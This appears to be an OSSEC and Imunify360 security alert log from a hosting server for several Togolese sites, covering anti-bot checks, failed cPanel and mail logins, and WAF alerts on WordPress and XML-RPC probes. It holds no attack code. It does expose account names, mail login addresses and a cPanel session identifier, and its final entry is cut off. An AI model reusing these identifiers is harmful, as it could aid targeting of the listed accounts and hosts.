# incident

plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:03:34:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:34:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:03:34:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.175.233.225
country_id: 2921044
description:
185.175.233.225 - - [22/Jun/2026:03:34:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039122&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Falerte-menace-terroriste%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782099276 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/alerte-menace-terroriste/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.1175.1860 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.175.233.225


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:03:36:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740247&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782099405 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:36:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934228&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782099410 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.131.253
country_id: 3469034
description:
[2026-06-22 03:39:46 +0000] info [cpaneld] 45.172.131.253 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.40.187
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/083c72246e597ff0d8ee28e5789b018e_L.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/083c72246e597ff0d8ee28e5789b018e_L-300x176.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:41:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068183&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782099690 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:03:43:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301230&pdata=https%253A%252F%252Ftogomedia24.tg%252F2023%252F11%252F11%252Fcrefer-couronne-meilleur-centre-de-formation-en-energies-renouvelables-lors-du-prestigieux-gala-energy-awards-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782099779 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2023/11/11/crefer-couronne-meilleur-centre-de-formation-en-energies-renouvelables-lors-du-prestigieux-gala-energy-awards-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.102.92.78
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/anvt-520-vec-ont-prete-serment-a-lome HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.213.169
country_id: 2363686
description:
[2026-06-22 03:47:23 +0000] info [cpaneld] 196.168.213.169 NEW waywcbyw:5EoDGZU88MHfee13 address=196.168.213.169,app=cpaneld,creator=waywcbyw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [22/Jun/2026:03:47:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7049831&pdata=https%253A%252F%252Fmail.soena.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100058 HTTP/2.0" 302 0 mail.soena.tg "https://mail.soena.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:50:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:50:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:03:50:03 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:03:50:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.33.13.188
country_id: 6252001
domain: 34.221.200.0
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.221.200.0/azenv.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.71.39
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/SimplePie/Cache/Redis.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:03:53:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040107&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100386 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:53:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9736856&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100386 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.71.33
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/SimplePie/Cache/DB.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.71.27
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/SimplePie/Cache/Memcache.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.71.30
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/SimplePie/Cache/Memcached.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 91.230.225.201
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/SimplePie/Cache/MySQL.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.92.25.114
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/sodium_compat/src/Crypto.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.92.25.113
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/sodium_compat/src/Crypto32.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:03:55:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448791&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252F20-milliards-mobilise-pour-la-lutte-contre-le-terrorisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100528 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/20-milliards-mobilise-pour-la-lutte-contre-le-terrorisme/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 91.230.225.13
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ecukpqcm/public_html/wp-includes/sodium_compat/autoload-php7.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:03:57:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527077&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100669 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.22.105
country_id: 6252001
description:
158.173.22.105 - - [22/Jun/2026:04:01:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131859&pdata=https%253A%252F%252Fapi.lacs1.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782100868 HTTP/2.0" 302 0 api.lacs1.mairie.tg "https://api.lacs1.mairie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.22.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.51.174.18
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bourses-et-allocations-voici-les-criteres-deligibilite/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:05:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:05:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:05:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:05:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.140.120
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/09/feg-2-600x470-1.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2024/09/feg-2-600x470-1-300x235.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 04:05:49 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:50392: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.157.30.165
country_id: 1814991
description:
2026-06-22 04:08:16 dovecot_plain authenticator failed for H=(r24eqop5impfsjoxhe) [183.157.30.165]:58082: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:04:09:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725542&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782101364 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:09:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778727&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782101368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:14:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608555&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782101690 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:20:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.190.230.216
country_id: 2750405
description:
[2026-06-22 04:20:17 +0000] info [cpaneld] 146.190.230.216 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:20:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:20:23 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [22/Jun/2026:04:20:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 22 04:20:42 ns5 auth[1995979]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-22 04:20:44 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:41509: 535 Incorrect authentication data (set_id=testportal)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.187.216.86
country_id: 1269750
domain: djama.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26802.djama.tg||ServerName:djama.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f42ebd767271e91cc1c1c845a3e32a493a28071e||Title:0xb7837b96||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:04:24:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869981&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782102250 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:04:24:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855068&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782102253 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.25.193.46
country_id: 2661886
description:
